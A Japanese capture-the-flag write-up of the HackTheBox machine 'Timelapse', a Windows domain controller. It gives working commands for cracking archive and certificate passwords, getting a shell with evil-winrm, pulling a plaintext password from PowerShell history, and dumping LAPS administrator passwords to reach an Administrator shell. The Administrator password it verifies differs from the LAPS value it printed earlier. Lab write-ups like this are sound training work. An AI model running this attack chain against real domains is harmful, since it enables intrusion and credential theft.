【HackTheBox】Timelapse Writeup
Recon
nmap
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2024-02-28 09:49:23Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl? syn-ack
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl? syn-ack
5986/tcp open ssl/http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack .NET Message Framing
わかったこと:
・smbが開いている
・web interfaceがない
・active directoryが使われている
・winrmが使えそう
smb
smbmap
smbclientではnull sessionでいけたけど、なぜかsmbmapでは-uをつけないとエラーが出る。
┌──(kali㉿kali)-[~/htb/timelapse]
└─$ smbmap -H 10.10.11.152 -u xxx
[+] IP: 10.10.11.152:445 Name: 10.10.11.152 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Shares READ ONLY
SYSVOL NO ACCESS Logon server share
Sharesを見てみます。
smbclient \\\\10.10.11.152\\Shares -N
Try "help" to get a list of possible commands.
smb: \> ls
Dev D 0 Mon Oct 25 15:40:06 2021
HelpDesk D 0 Mon Oct 25 11:48:42 2021
Devにはバクアップファイル、helpdeskにはLAPS関連のファイルがありました。
smb: \dev\> ls
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
smb: \helpdesk\> ls
LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
boxの名前(timelapse)とLAPSがインストールされていることを考えると権限昇格の時はLAPSの情報を使うでしょう。
とりあえず全てのファイルをローカルにダウンロードします。
zip file password cracking
winrm_backup.zipをunzipするにはパスワードが必要なので、johnでクラックします。
zip2john winrm_backup.zip > ziphash
john ziphash --wordlist=/usr/share/wordlists/rockyou.txt
パスワードはsupremelegacyでした。
pfx file password cracking
unzipするとpfxファイルが出てきました。
┌──(kali㉿kali)-[~/htb/timelapse]
└─$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
keyとcertificateを抽出しようとしたらまたパスワードを求められました。今回もjohnでクラックします。
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
Enter Import Password:
Mac verify error: invalid password?
pfx2john legacyy_dev_auth.pfx > pfxhash
john pfxhash --wordlist=/usr/share/wordlists/rockyou.txt
パスワードはthuglegacyでした。これでkeyとcertificateを出します。
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out priv-key.pem -nodes
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt
Shell as legacyy
Shell with evil-winrm
winrmはcertificatで認証できるみたいなので、evil-winrmでシェルを取ります。winrmのポートは5986なので-S
オプションを付けてsslを使います。
evil-winrm -i 10.10.11.152 -c cert.crt -k priv-key.pem -S
これでlegacyyのシェルが取れました。
*Evil-WinRM* PS C:\Users\legacyy\desktop> type user.txt
manual enumeration
PowerViewとwinPEASを使おうとしたが、ブロックされて実行できませんでした。自分でコマンドを叩くしかない。
powershellの履歴を見てみます。
(Get-PSReadLineOption).HistorySavePath
C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ServerRemoteHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\AppData\roaming\microsoft\windows\powershell\PSReadline> ls
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/3/2022 11:46 PM 434 ConsoleHost_history.txt
*Evil-WinRM* PS C:\Users\legacyy\AppData\roaming\microsoft\windows\powershell\PSReadline> cat ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
ユーザーsvc_deployのパスワードがありました。crackmapexecで確認します。
crackmapexec smb 10.10.11.152 -u svc_deploy -p "E3R\$Q62^12p7PLlC%KWaxuaV"
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
Pwn3d!が出てなくてSMB経由でシェルが取れなさそうなので、さっきと同じでevil-winrmでシェルを取ります。
Shell as svc_deploy
evil-winrm -i 10.10.11.152 -u svc_deploy -p "E3R\$Q62^12p7PLlC%KWaxuaV" -S
svc_deployのグループを確認します。
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
TIMELAPSE\LAPS_Readers Group S-1-5-21-671920749-559770252-3318990721-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
svc_deployはLAPS_Readersグループに入っていますのでLAPSのパスワードをreadしてみます。
まずはLAPSがインストールされていることを確認します。
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd
AdmPwdEnabled REG_DWORD 0x1
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> dir 'C:\Program Files\LAPS\CSE\'
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/5/2021 7:04 AM 184232 AdmPwd.dll
LAPS read password powershell pentest
で検索したら使えそうなコマンドがありました。AD内にms-Mcs-AdmPwd
attributeを持っているコンピューターを探してその値を出すコマンドです。
Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd'
Name ms-Mcs-AdmPwd
---- -------------
DC01 WBT22#X6F0&Hw-O7v92A2#lJ
Get-ADComputer -Filter 'ObjectClass -eq "computer"' -Property *
パスワードが出力されました。ではcrackmapexecで確認します。
crackmapexec smb 10.10.11.152 -u Administrator -p ",w\$4.5o41X+}BH/6H6\$Y2]-f"
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\Administrator:,w$4.5o41X+}BH/6H6$Y2]-f (Pwn3d!)
Pwn3d!が出ているのでこれで大丈夫そうですね。
Shell as Administrator
ではAdministratorのシェルを取ります。
impacket-wmiexec Administrator:",w\$4.5o41X+}BH/6H6\$Y2]-f"@10.10.11.152
C:\>whoami
timelapse\administrator
なぜかadministratorのデスクトップにroot.txtがなかったので、探します。
c:\users>where /R C:\users\ root.txt
C:\Users\TRX\Desktop\root.txt
TRXのデスクトップにありました。
Memo
Bloodhound
bloodhoundも実行してみました。laps_readersのReadLAPSPassword権限が表示されていました。
Other Ways to Read LAPS Password
pyLAPS.py
pyLAPS.pyを使えばkaliからLAPSのパスワードをreadできます。
┌──(kali㉿kali)-[~/tools]
└─$ python3 pyLAPS.py --action get -d "dc01.timelapse.htb" -u "svc_deploy" -p "E3R\$Q62^12p7PLlC%KWaxuaV" --dc-ip 10.10.11.152
__ ___ ____ _____
____ __ __/ / / | / __ \/ ___/
/ __ \/ / / / / / /| | / /_/ /\__ \
/ /_/ / /_/ / /___/ ___ |/ ____/___/ /
/ .___/\__, /_____/_/ |_/_/ /____/ v1.2
/_/ /____/ @podalirius_
[+] Extracting LAPS passwords of all computers ...
| DC01$ : WBT22#X6F0&Hw-O7v92A2#lJ
crackmapexec
crackmapexecも使えるはず(なぜかこのboxではldapに繋がらないエラーが出ますが、、)
crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p "E3R\$Q62^12p7PLlC%KWaxuaV" -M laps
Discussion